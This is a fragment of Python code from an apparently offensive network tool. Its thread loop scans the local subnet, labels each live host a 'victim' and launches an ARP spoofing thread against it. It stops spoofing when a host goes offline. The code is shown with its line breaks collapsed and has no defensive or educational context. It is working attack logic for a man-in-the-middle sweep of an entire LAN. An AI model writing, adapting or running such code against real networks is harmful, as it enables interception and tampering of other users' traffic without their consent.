def run(self): gateway, iface = setDefaultGatewayAndInterface() parts = gateway.split('.') network = parts[0]+'.'+parts[1]+'.'+parts[2]+'.' newPing = Ping(network) hostsAndStatus = newPing.findHosts() for hosts in hostsAndStatus: if hosts[1] == 'Alive': if hosts[0] not in self.pwndHosts: self.queue.put('Found a new victim at ' + hosts[0]) newArpSpoofThread = arpSpoof(hosts[0]) newArpSpoofThread.start() self.threadList.append(newArpSpoofThread) self.pwndHosts.append(hosts[0]) self.queue.put('Now ARP spoofing ' + hosts[0]) else: self.queue.put('Tried to re-ARP spoof ' + hosts[0]) elif hosts[1] == 'Dead': self.queue.put('Host at ' + hosts[0] + ' is now offline.') for threads in self.threadList: if threads.victim == hosts[0]: threads.stop() self.pwndHosts.remove(hosts[0]) self.threadList.remove(threads) self.queue.put('Stopped ARP spoofing ' + hosts[0])